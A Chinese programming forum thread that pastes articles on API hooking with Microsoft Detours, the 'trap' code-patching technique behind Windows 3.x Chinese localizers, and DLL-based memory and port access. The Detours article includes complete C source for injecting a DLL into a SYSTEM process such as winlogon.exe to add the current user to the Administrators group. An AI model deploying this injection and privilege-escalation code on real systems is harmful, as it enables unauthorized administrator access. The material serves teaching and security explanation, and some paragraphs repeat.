和窗口相关的那些东西倒是可以修改，如标题、大小位置什么的，菜单……我没试过，估计也可以改，反正API都提供了，及时汉化不都是这么实现的嘛。但是线程、回调函数的修改……
理论上我估计可以，因为这些东西都是通过API实现的，如CreateThread什么的，而回调函数的设置也是通过API完成的，至于是什么API，具体情况具体定了。API是可以拦截的，拦截到API后，将自己线程函数地址或回调函数地址为参数执行，大概就可以达到效果，当然了，这些函数都应该在一个DLL中。理论上我只能这么分析，但动起手来可能会很困难，到现在为止，我连API都没实际动手拦截过，只好在这里纸上谈兵了。
理论上我估计可以，因为这些东西都是通过API实现的，如CreateThread什么的，而回调函数的设置也是通过API完成的，至于是什么API，具体情况具体定了。API是可以拦截的，拦截到API后，将自己线程函数地址或回调函数地址为参数执行，大概就可以达到效果，当然了，这些函数都应该在一个DLL中。理论上我只能这么分析，但动起手来可能会很困难，到现在为止，我连API都没实际动手拦截过，只好在这里纸上谈兵了。
我旨在讨论大家没有接触过的东西，大家随便说，我尽量加分，呵呵。
众神之焰炒菜中......
findwindow找到该程序的HWND（IE就是IEFrame)
之后、、、
另，你说的是对的，东方快车之流是通过修改输出字符串实现的。
呵呵，我要的不是句柄，呵呵，搞个钩子只能用自己的东东，我要改现成东东，比如，启动IE后，将IE的帮助的About框中那幅图改成Shit一堆。
我们就不用自己写程序了
呵呵，我只是有点思路，还没有成功过，也拿不出什么东东来。
炒菜......
.
.
.
.
.
.
我不熟!
然后你不可避免的要进入ring0，访问系统的Tabel,改写Process Data.....Hook这个Hook那个
（不是SetWindowsHookEx那种Hook）再声明，我知道我是胡说加炒菜，我就是这个水准，高手别打我。
炒菜......
一蒙一蒙的。
陈志敏
---- Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是： 拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程，装入自己的代码并运行。
---- 本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows NT上编写了一个程序，该程序能使有“调试程序”的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理员（在NT4 SP3上）。 一． Detours的原理 ---- 1． WIN32进程的内存管理 ---- 总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点： ---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码 ---- 2． 拦截WIN32 API的原理 ---- Detours定义了三个概念： ---- (1) Target函数：要拦截的函数，通常为Windows的API。
---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。
---- (3) Detour 函数：用来替代Target函数的函数。 ---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下： 拦截前：Target _ Function：
；Target函数入口，以下为假想的常见的子程序入口代码
push ebp
mov ebp, esp
push eax
push ebx
Trampoline:
；以下是Target函数的继续部分
……
拦截后： Target _ Function：
jmp Detour_Function
Trampoline:
；以下是Target函数的继续部分
……
Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push ebp
mov ebp, esp
push eax
push ebx
；跳回去继续执行Target函数
jmp Target_Function+5
---- 3． 为一个已在运行的进程装入一个DLL ---- 以下是其步骤： ---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。 二． Detours库函数的用法 ---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。 ---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) ---- 功能：从一DLL中找出一函数的入口地址
---- 参数：pszModule是DLL名，pszFunction是函数名。
---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。 ---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。 ---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能：用Detour 函数拦截Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 ---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能：恢复Target函数
---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 ---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能：为一个已在运行的进程装入一个DLL
---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名 三． 程序实例 ---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。 ---- 先编写相应的DLL： /*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/
#include
#include
#include
#include
/*以下创建一共享段实现进程间的数据通讯，
szAccountName 是用户名，bPrepared说明
szAccountName是否已初始化。*/
#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()
#pragma comment(linker, "/SECTION:.MYSHARE,RWS")
/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名，并通知DllMain
已初始化szAccountName ，
以后被装入时可调用ElevatePriv */
__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}
/*把名为szAccountName的用户加入
到Administrators本地组*/
__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}
__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
case DLL_THREAD_ATTACH:
if (bPrepared)
ElevatePriv();
}
return TRUE;
}
程序如下：
/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为：（1）
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID （2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID （3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/ #include
#include
#include
#include
#include
extern VOID WINAPI SetAccountName(wchar_t *Name);
/* GetCurrentUser得到自己的用户名称*/
void GetCurrentUser(wchar_t *szName)
{
HANDLE hProcess, hAccessToken;
wchar_t InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200,
dwDomainSize = 200;
SID_NAME_USE snu;
hProcess = GetCurrentProcess();
OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);
GetTokenInformation(hAccessToken,TokenUser,
InfoBuffer,
1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid,
szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
wcscpy(szName,szDomainName);
wcscat(szName,L"\\");
wcscat(szName,szAccountName);
}
/* EnablePrivilege启用自己的“调试程序”的用户权限*/
BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
wprintf(L"usage %s pid", argv[0]);
return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d\n",nProcessId);
---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/ if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
printf("AdjustTokenPrivilege Fail %u\n",
(UINT)GetLastError());
return 1;
}
HANDLE gNewHandle =
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId);
if (!gNewHandle){
printf("OpenProcess Fail %u\n",
(UINT)GetLastError());
return 1;
}
wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c:\\temp\\admin.dll")) {
printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限，只能授予给可信用户。 四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。
──动态汉化Windows技术的分析 四通利方(RichWin)、中文之星(CStar)是大家广为熟知的汉化Windows产品,"陷阱"技术即动态修改Windows代码,一直是其对外宣称的过人技术。本文从Windows的模块调用机制与重定位概念着手,介绍了"陷阱"技术的实现,并给出了采用"陷阱"技术动态修改Windows代码的示例源程序。 一、发现了什么? 笔者多年来一直从事Windows下的软件开发工作,经历了Windows 2.0 、 3.0 、3.1 ,直至Windows 95、NT的成长过程,也遍历了长青窗口、长城窗口、DBWin、CStar、RichWin等多个Windows汉化产品。从现在看来,影响最大也最为成功的,当推四通利方的RichWin;此外,中文之星CStar与RichWin师出一门,其核心技术自然也差不多。其对外宣传采用独特的"陷阱"
技术即动态修改Windows代码,一直是笔者感兴趣的地方。 EXEHDR是Microsoft Visual C++开发工具中很有用的一个程序,它可以检查NE(New-Exe cutable)格式文件,用它来分析RichWin的WSENGINE.DLL或CStar的CHINESE.DLL,就会发现与众不同的两点(以CStar
1.20为例): C:\CSTAR>exehdr chinese.dll /v
..................................
6 type offset target
BASE 060a seg 2 offset 0000
PTR 047e imp GDI.GETCHARABCWIDTHS
PTR 059b imp GDI.ENUMFONTFAMILIES
PTR 0451 imp DISPLAY.14 ( EXTTEXTOUT )
PTR 0415 imp KEYBOARD.4 ( TOASCII )
PTR 04ba imp KEYBOARD.5 ( ANSITOOEM )
PTR 04c9 imp KEYBOARD.6 ( OEMTOANSI )
PTR 04d8 imp KEYBOARD.134( ANSITOOEMBUFF )
PTR 05f5 imp USER.430 ( LSTRCMP )
PTR 04e7 imp KEYBOARD.135( OEMTOANSIBUFF )
PTR 0514 imp USER.431 ( ANSIUPPER )
PTR 0523 imp USER.432 ( ANSILOWER )
PTR 05aa imp GDI.56 ( CREATEFONT )
PTR 056e imp USER.433 ( ISCHARALPHA )
PTR 05b9 imp GDI.57 ( CREATEFONTINDIRECT )
PTR 057d imp USER.434 ( ISCHARALPHANUMERIC )
PTR 049c imp USER.179 ( GETSYSTEMMETRICS )
PTR 0550 imp USER.435 ( ISCHARUPPER )
PTR 055f imp USER.436 ( ISCHARLOWER )
PTR 0532 imp USER.437 ( ANSIUPPERBUFF )
PTR 0541 imp USER.438 ( ANSILOWERBUFF )
PTR 05c8 imp GDI.69 ( DELETEOBJECT )
PTR 058c imp GDI.70 ( ENUMFONTS )
PTR 04ab imp KERNEL.ISDBCSLEADBYTE
PTR 05d7 imp GDI.82 ( GETOBJECT )
PTR 048d imp KERNEL.74 ( OPENFILE )
PTR 0460 imp GDI.91 ( GETTEXTEXTENT )
PTR 05e6 imp GDI.92 ( GETTEXTFACE )
PTR 046f imp GDI.350 ( GETCHARWIDTH )
PTR 0442 imp GDI.351 ( EXTTEXTOUT )
PTR 0604 imp USER.471 ( LSTRCMPI )
PTR 04f6 imp USER.472 ( ANSINEXT )
PTR 0505 imp USER.473 ( ANSIPREV )
PTR 0424 imp USER.108 ( GETMESSAGE )
PTR 0433 imp USER.109 ( PEEKMESSAGE )
35 relocations(括号内为笔者加上的对应Windows API函数。) 第一,在数据段中,发现了重定位信息。 第二,这些重定位信息提示的函数,全都与文字显示输出和键盘、字符串有关。也就是说汉化Windows,必须修改这些函数。 在这非常特殊的地方,隐藏着什么呢?毋庸置疑,这与众不同的两点,对打开"陷阱"技术之门而言,不是金钥匙,也是敲门砖。 二、Windows的模块调用机制与重定位概念 为了深入探究"陷阱"技术,我们先来介绍Windows的模块调用机制。 Windows的运行分实模式、标准模式和增强模式三种,虽然这几种模式各不相同,但其核心模块的调用关系却是完全一致的,见图一。 主要的三个模块,有如下的关系: ·KERNEL是Windows系统内核,它不依赖其它模块。 ·GDI是Windows图形设备接口模块,它依赖于KERNEL模块。 ·USER是Windows用户接口服务模块,它依赖于KERNEL、GDI模块及设备驱动程序等所有模块。 这三个模块,实际上就是Windows的三个动态链接库。KERNEL有三种系统存在形式:Kern el.exe(实模式)、Krnl286.exe(标准模式)、Krnl386.exe(386增强模式);GDI模块是Gdi.ex
e;USER模块是User.exe。虽然文件名都以EXE为扩展名,但它们实际都是动态链接库。 <图片> 图1 Windows的模块调用机制 同时,几乎所有的API函数都隐藏在这三个模块中。用EXEHDR对这三个模块分析,就可列出一大堆大家所熟悉的Windows API函数。 以GDI模块为例,运行结果如下:
C:\WINDOWS\SYSTEM＞exehdr gdi.exe
Exports:
rd seg offset name
............
351 1 923e EXTTEXTOUT exported, shared data
56 3 19e1 CREATEFONT exported, shared data
............ 至此,读者已能从Windows纷繁复杂的系统中理出一些头续来。下面,再引入一个重要概念——重定位。 一个Windows执行程序对调用API函数或对其它动态库的调用,在程序装入内存前,都是一些不能定位的动态链接;当程序调入内存时,这些远调用都需要重新定位,重新定位的依据就是重定位表。在Windows执行程序(包括动态库)的每个段后面,通常都跟有这样一个重定位表。重定位包含调用函数所在模块、函数序列号以及定位在模块中的位置。 例如,用EXEHDR /v 分析CHINESE.DLL得到: 6 type offset target
..........
PTR 0442 imp GDI.351
.......... 就表明,在本段的0442H偏移处,调用了GDI的第351号函数。如果在0442H处是0000:FFFF ,表示本段内仅此一处调用了GDI.351函数;否则,表明了本段内还有一处调用此函数,调用的位置就是0442H处所指向的内容,实际上重定位表只含有引用位置的链表的链头。那么,GDI.
351是一个什么函数呢?用EXEHDR对GDI.EXE作一分析,就可得出,在GDI的出口(Export)函数中,第351号是ExtTextOut。 这样,我们在EXEHDR这一简单而非常有用的工具帮助下,已经在Windows的浩瀚海洋中畅游了一会,下面让我们继续深入下去。 三、动态汉化Windows原理 我们知道,传统的汉化Windows的方法,是要直接修改Windows的显示、输入、打印等模块代码,或用DDK直接开发"中文设备"驱动模块。这样不仅工作量大,而且,系统的完备性很难保证,性能上也有很多限制(早期的长青窗口就是如此),所以只有从内核上修改Windows核心代码才是最彻底的办法。 从Windows的模块调用机制,我们可以看到,Windows实际上是由包括在KERNEL、GDI、US ER等几个模块中的众多函数支撑的。那么,修改其中涉及语言文字处理的函数,使之能适应中文需要,不就能达到汉化目的了吗? 因而,我们可以得出这样的结论:在自己的模块中重新编写涉及文字显示、输入的多个函数,然后,将Windows中对这些函数的引用,改向到自己的这些模块中来。修改哪些函数才能完成汉化,这需要深入分析Windows的内部结构,但CHINESE.DLL已明确无误地告诉了我们,在其数据段的重定位表中列出的引用函数,正是CStar修改了的Windows函数!为了验证这一思路,
我们利用RichWin作一核实。 用EXEHDR分析GDI.EXE,得出ExtTextOut函数在GDI的第一代码段6139H偏移处(不同版本的Windows其所在代码段和偏移可能不一样)。然后,用HelpWalk(也是Microsoft
Visual C+ +开发工具中的一个)检查GDI的Code1段,6139H处前5个字节是 B8 FF 05 45 55,经过运行Ri chWin 4.3
for Internet后,再查看同样的地方,已改为 EA 08 08 8F 3D。其实反汇编就知道,这5个字节就是 Jmp 3D8F:0808,而句柄为0x3D8F的模块,用HelpWalk能观察正是RichWin
的WSENGINE.DLL的第一代码段( 模块名为TEXTMAN)。而偏移0808H处 B8 B7 3D 45 55 8B E C 1E,正是一个函数起始的地方,这实际上就是RichWin所重改写的ExtTextOut函数。退出Ri
chWin后,再用HelpWalk观察GDI的Code1代码段,一切又恢复正常!这与前面的分析结论完全吻合!那么,下一个关键点就是如何动态修改Windows的函数代码,也就是汉化Windows的核心——"陷阱"技术。 四、"陷阱"技术 讨论"陷阱"技术,还要回到前面的两个发现。发现之二,已能解释为修改的Windows函数,而发现之一却仍是一个迷。 数据段存放的是变量及常量等内容,如果这里面包含有重定位信息,那么,必定要在变量说明中将函数指针赋给一个FARPROC类型的变量,于是,在变量说明中写下: FARPROC FarProcFunc=ExtTextOut; 果然,在自己程序的数据段中也有了重定位信息。这样,当程序调入内存时,变量FarPro cFunc已是函数ExtTextOut的地址了。 要直接修改代码段的内容,还遇到一个难题,就是代码段是不可改写的。这时,需要用到一个未公开的Windows函数AllocCStoDSAlias,取得与代码段有相同基址的可写数据段别名,
其函数声明为: WORD FAR PASCAL AllocCStoDSAlias(WORD code_sel); 参数是代码段的句柄,返回值是可写数据段别名句柄。 Windows中函数地址是32位,高字节是其模块的内存句柄,低字节是函数在模块内的偏移。将得到的可写数据段别名句柄锁定,再将函数偏移处的5个字节保留下来,然后将其改为转向替代函数(用
EA Jmp): *(lpStr+wOffset) =0xEA; 四通利方(RichWin)、中文之星(CStar)是大家广为熟知的汉化Windows产品,"陷阱"技术即动态修改Windows代码,一直是其对外宣称的过人技术。本文从Windows的模块调用机制与重定位概念着手,介绍了"陷阱"技术的实现,并给出了采用"陷阱"技术动态修改Windows代码的示例源程序。 //源程序 relocate.c
#include ＜WINDOWS.H＞
#include ＜dos.h＞
BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nInt1, const RECTFAR*l
pRect,LPCSTR lpStr, UINT nInt2, int FAR* lpInt);
WORD FAR PASCAL AllocCStoDSAlias(WORD code_sel);
typedef struct tagFUNC
{
FARPROC lpFarProcReplace; //替代函数地址
FARPROC lpFarProcWindows; //Windows函数地址
BYTE bOld; //保存原函数第一字节
LONG lOld; //保存原函数接后的四字节长值
}FUNC;
FUNC Func={MyExtTextOut,ExtTextOut};
//Windows主函数
int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdL
ine,int nCmdShow){
HANDLE hMemCode; //代码段句柄
WORD hMemData; //相同基址的可写数据段别名
WORD wOffset; //函数偏移
LPSTR lpStr;
LPLONG lpLong;
char lpNotice[96];
hMemCode=HIWORD((LONG) Func.lpFarProcWindows );
wOffset=LOWORD((LONG) Func.lpFarProcWindows );
wsprintf(lpNotice,"函数所在模块句柄 0x%4xH,偏移 0x%4xH",hMemCode,wOffset);
MessageBox(NULL,lpNotice,"提示",MB_OK);
//取与代码段有相同基址的可写数据段别名
hMemData=AllocCStoDSAlias(hMemCode);
lpStr=GlobalLock(hMemData);
lpLong=(lpStr+wOffset+1 );
//保存原函数要替换的头几个字节
Func.bOld=*(lpStr+wOffset);
Func.lOld=*lpLong;
*(lpStr+wOffset)=0xEA;
*lpLong=Func.lpFarProcReplace;
GlobalUnlock(hMemData);
MessageBox(NULL,"改为自己的函数","提示",MB_OK);
//将保留的内容改回来
hMemData=AllocCStoDSAlias(hMemCode);
lpStr=GlobalLock(hMemData);
lpLong=(lpStr+wOffset+1 );
*(lpStr+wOffset)=Func.bOld;
*lpLong=Func.lOld;
GlobalUnlock(hMemData);
MessageBox(NULL,"改回原Windows函数","提示",MB_OK);
return 1;
}
//自己的替代函数
BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nInt1, const RECT FAR*
lpRect, LPCSTR lpStr, UINT nInt2, int FAR* lpInt){
BYTE NameDot[96]={
0x09, 0x00, 0xfd, 0x08, 0x09, 0x08, 0x09, 0x10, 0x09, 0x20,
0x79, 0x40, 0x41, 0x04, 0x47, 0xfe, 0x41, 0x40, 0x79, 0x40,
0x09, 0x20, 0x09, 0x20, 0x09, 0x10, 0x09, 0x4e, 0x51, 0x84,
0x21, 0x00, 0x02, 0x00, 0x01, 0x04, 0xff, 0xfe, 0x00, 0x00,
0x1f, 0xf0, 0x10, 0x10, 0x10, 0x10, 0x1f, 0xf0, 0x00, 0x00,
0x7f, 0xfc, 0x40, 0x04, 0x4f, 0xe4, 0x48, 0x24, 0x48, 0x24,
0x4f, 0xe4, 0x40, 0x0c, 0x10, 0x80, 0x10, 0xfc, 0x10, 0x88,
0x11, 0x50, 0x56, 0x20, 0x54, 0xd8, 0x57, 0x06, 0x54, 0x20,
0x55, 0xfc, 0x54, 0x20, 0x55, 0xfc, 0x5c, 0x20, 0x67, 0xfe,
0x00, 0x20, 0x00, 0x20, 0x00, 0x20
};
HBITMAP hBitmap,hOldBitmap;
HDC hMemDC;
BYTE far *lpDot;
int i;
for ( i=0;i＜3;i++ )
{
lpDot=(LPSTR)NameDot+i*32;
hMemDC=CreateCompatibleDC(hDC);
hBitmap=CreateBitmap(16,16,1,1,lpDot);
SetBitmapBits(hBitmap,32L,lpDot);
hOldBitmap=SelectObject(hMemDC,hBitmap);
BitBlt(hDC,x+i*16,y,16,16,hMemDC,0,0,SRCCOPY);
DeleteDC(hMemDC);
DeleteObject(hBitmap);
}
return TRUE;
}
//模块定义文件 relocate.def
NAME RELOCATE
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
HEAPSIZE 1024
EXPORTS五、结束语 本文从原理上分析了称为"陷阱"技术的动态汉化Windows方法,介绍了将任一Windows函数调用改向到自己指定函数处的通用方法,这种方法可以拓展到其它应用中,如多语种显示、不同内码制式的切换显示等。
东西很多的，陆麟好像以前常来这里，但是现在不常来了
panda_w请注意接分。Windows下DLL编程技术及应用 摘 要:
本文介绍了DLL技术在Windows编程中的基本运用方法及应用，给出了直接内存访问及端口I/O的两个实用DLL的全部源代码。
关键词: DLL Windows编程 内存访问 I/O一 、引 言
由于Windows为微机提供了前所未有的标准用户界面、图形处理能力和简单灵便的操作，绝大多数程序编制人员都已转向或正在转向Windows编程。在许多用户设计的实际应用系统的编程任务中，常常要实现软件对硬件资源和内存资源的访问，例如端口I/O、DMA、中断、直接内存访问等等。若是编制DOS程序，这是轻而易举的事情，但要是编制Windows程序，尤其是WindowsNT环境下的程序，就会显得较困难。
因为Windows具有"与设备无关"的特性，不提倡与机器底层的东西打交道，如果直接用Windows的API函数或I/O读写指令进行访问和操作，程序运行时往往就会产生保护模式错误甚至死机，更严重的情况会导致系统崩溃。那么在Windows下怎样方便地解决上述问题呢？用DLL(Dynamic Link Libraries)技术就是良好途径之一。
DLL是Windows最重要的组成要素，Windows中的许多新功能、新特性都是通过DLL来实现的，因此掌握它、应用它是非常重要的。其实Windows本身就是由许多的DLL组成的，它最基本的三大组成模块Kernel、GDI和User都是DLL，它所有的库模块也都设计成DLL。凡是以.DLL、.DRV、.FON、.SYS和许多以.EXE为扩展名的系统文件都是DLL，要是打开Windows\System目录，就可以看到许多的DLL模块。尽管DLL在Ring3优先级下运行，仍是实现硬件接口的简便途径。DLL可以有自己的数据段，但没有自己的堆栈，使用与调用它的应用程序相同的堆栈模式，减少了编程设计上的不便；同时，一个DLL在内存中只有一个实例，使之能高效经济地使用内存；DLL实现的代码封装性，使得程序简洁明晰；此外还有一个最大的特点，即DLL的编制与具体的编程语言及编译器无关，只要遵守DLL的开发规范和编程策略，并安排正确的调用接口，不管用何种编程语言编制的DLL都具有通用性。例如在BC31中编制的DLL程序，可用于BC、VC、VB、Delphi等多种语言环境中。笔者在BC31环境下编译了Windows下直接内存访问和端口I/O两个DLL，用在多个自制系统的应用软件中，运行良好。二、DLL的建立和调用
DLL的建立及调用方法在许多资料上有详细的介绍，为了节省篇幅，在这里仅作一些主要的概括。
1.DLL的建立
关于DLL的建立，有如下几个方面的要素是不可缺少和必须掌握的：
入口函数LibMain( )
就象C程序中的WinMain( )一样，Windows每次加载DLL时都要执行LibMain( )函数，主要用来进行一些初始化工作。通常的形式是：int FAR PASCAL LibMain(HINSTANCE hInstance,WORD wDataSeg,WORD wHeapSize,LPSTR lpszCmdLine)
{
if(wHeapSize!=0) //使局部堆、数据段可移动
UnlockData(0);
//解锁数据段
/*此处可进行一些用户必要的初始化工作*/
return 1; //初始化成功
}出口函数WEP( )
Windows从内存中卸载DLL时，调用相应的出口函数WEP( )，主要做一些清理工作，如释放占用的内存资源；丢弃某些字串、位图等资源；关闭打开的文件等等。 自定义的输出函数
为了让位于不同内存段的应用程序进行远程调用，自定义的输出函数必须定义为远程函数(使用FAR关键字)，以防使用近程指针而得到意外的结果；同时，加上PASCAL关键字可加快程序的运行速度，使代码简单高效，提高程序的运行速度。
输出函数的引出方法
在DLL的模块定义文件中(.DEF)由EXPORTS语句对输出函数逐一列出。例如：
EXPORTS WEP @1 residentname
//residentname可提高DLL效率和处理速度
PortIn @2
PortOut @3 //通常对所有输出函数附加系列号
在每个输出函数定义的说明中使用_export关键字来对其引出。
以上两种方法任选其中的一种即可，不可重复。后面的两个实例分别使用了上述两种不同的引出方式，请留意。2.DLL的调用
加载DLL时，Windows寻找相应DLL的次序如下：
.当前工作盘。
Windows目录；GetWindowsDirectory( )函数可提供该目录的路径名。
Windows系统目录，即System子目录；调用GetSystemDiretory( )函数可获得这个目录的路径名。
DOS的PATH命令中罗列的所有目录。
网络中映象的目录列表中的全部目录。DLL模块中输出函数的调用方法：
不论使用何种语言对编译好的DLL进行调用时，基本上都有两种调用方式，即静态调用方式和动态调用方式。静态调用方式由编译系统完成对DLL的加载和应用程序结束时DLL卸载的编码（如还有其它程序使用该DLL，则Windows对DLL的应用记录减1，直到所有相关程序都结束对该DLL的使用时才释放它），简单实用，但不够灵活，只能满足一般要求。动态调用方式是由编程者用API函数加载和卸载DLL来达到调用DLL的目的，使用上较复杂，但能更加有效地使用内存，是编制大型应用程序时的重要方式。具体来说，可用如下的方法调用.在应用程序模块定义文件中，用IMPORTS语句列出所要调用DLL的函数名。如：
IMPORTS
MEMORYDLL.MemoryRead
MEMORYDLL.MemoryWrite
让应用程序运行时与DLL模块动态链接
先用LoadLibrary加载DLL，再用GetProcAddress函数检取其输出函数的地址，获得其指针来调用。如：
HANDLE hLibrary;
FARPROC lpFunc;
int PortValue;
hLibrary=LoadLibrary("PORTDLL.DLL");
//加载DLL
if(hLibrary>31) //加载成功
{
lpFunc=GetProcAddress(hLibrary,"PortIn");
//检取PortIn函数地址
if(lpFunc!=(FARPROC)NULL)
//检取成功则调用
PortValue=(*lpFunc)(port); //读port端口的值
FreeLibrary(hLibrary);
//释放占用的内存
} 三、DLL应用实例源程序
1.直接内存访问的DLL源代码
//.DEF文件
LIBRARY
MEMORYDLL
DESCRIPTION 'DLL FOR MEMORY_READ_WRITE '
EXETYPE WINDOWS
CODE
PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE SINGLE
HEAPSIZE 1024
//DLL无自己的堆栈，故没有STACKSIZE语句
EXPORTS WEP @1 residentname
ReadMemory
@2
WriteMemory @3//.CPP文件
#include <windows.h>
int FAR PASCAL LibMain(HINSTANCE hInstance,WORD wDataSeg,WORD wHeapSize,LPSTR lpszCmdLine)
{
if(wHeapSize!=0)
UnlockData(0);
return
1;
}int FAR PASCAL MemoryRead(unsigned int DosSeg,unsigned int DosOffset)
{
WORD wDataSelector,wSelector;
char far *pData;
char value;
wDataSelector=HIWORD((DWORD)(WORD FAR *)&wDataSelector);
wSelector=AllocSelector(wDataSelector);
//分配选择器
SetSelectorLimit(wSelector,0x2000);
//置存取界限
SetSelectorBase(wSelector,(((DWORD)DosSeg)<<4)+(DWORD)DosOffset);
//置基地址
pData=(char far *)((DWORD)wSelector<<16);
value=*pData;
FreeSelector(wSelector);
//释放选择器
return (value);
}void FAR PASCAL MemoryWrite(unsigned int DosSeg,unsigned int DosOffset,char Data)
{
WORD wDataSelector,wSelector;
char far *pData;
wDataSelector=HIWORD((DWORD)(WORD FAR *)&wDataSelector);
wSelector=AllocSelector(wDataSelector);
SetSelectorLimit(wSelector,0x2000);
SetSelectorBase(wSelector,(((DWORD)DosSeg)<<4)+(DWORD)DosOffset);
pData=(char far *)((DWORD)wSelector<<16);
*pData=Data;
FreeSelector(wSelector);
